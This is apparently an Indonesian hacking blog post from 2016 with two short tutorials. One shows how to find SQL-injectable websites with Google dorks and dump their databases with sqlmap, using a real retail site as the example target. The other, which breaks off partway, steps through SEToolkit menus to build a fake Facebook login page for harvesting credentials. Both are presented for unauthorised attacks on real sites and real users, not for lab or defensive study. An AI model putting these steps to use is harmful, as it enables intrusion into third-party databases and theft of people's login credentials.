Selasa, 07 Juni 2016

HACK WEBSITE MENGGUNAKAN SQLMAP DI KALI LINUX

kali ini saya ingin memposting bagaiamana cara hack website menggunakan sqlmap di kali linux
oke langsung saja ke TKP

sebelum melakukan hacking jangan lupa siapkan target yang sudah vuln terhadap sql injection
bisa mencarinya dengan google dork atau menggunakan uniscan , owasp-zap, nikto , vega dll

download google dork disini
http://www.4shared.com/office/EST7GaQ2ba/dork_sql.html

jika sudah mendapatkan target

1. buka terminal
    jika ingin melihat option pada sqlmap
    ketik dengan  perintah : sqlmap -h



2. untuk melakukan hacking berikan perintah :

   sqlmap -u www.target.com/syntaxerrorr=2

CONTOH:

   sqlmap -u www.skechers.com.hk/product.php?id=1152 --dbs


Phising dengan se-toolkit Kali Linux

Oke sesuai judul nih ane mo berbagi tentang fungsi salah satu tools Kali Linux yaitu se-toolkit,
nah disini saya akan membuat fake login facebook,oke langsung saja di praktekin :D
pertama buka se-toolkit di menu
Application=>Kali Linux=> Exploitation Tools=> Social Engineering Toolkit=> se-toolkit

Atau ketikkan pasa terminal
setoolkit
Nanti setelah muncul menu SEToolkit
pilih yang nomor 1)Social-Engineeting Attacks

Social-Engineeting Attacks
Lalu pilih 2) Website Attack Vectors

Website Attack Vectors

Selanjutnya pilih 3) Credential Harvester Attack Method

greenwich_bram_dedy_suharta
Batman Begins - Help Select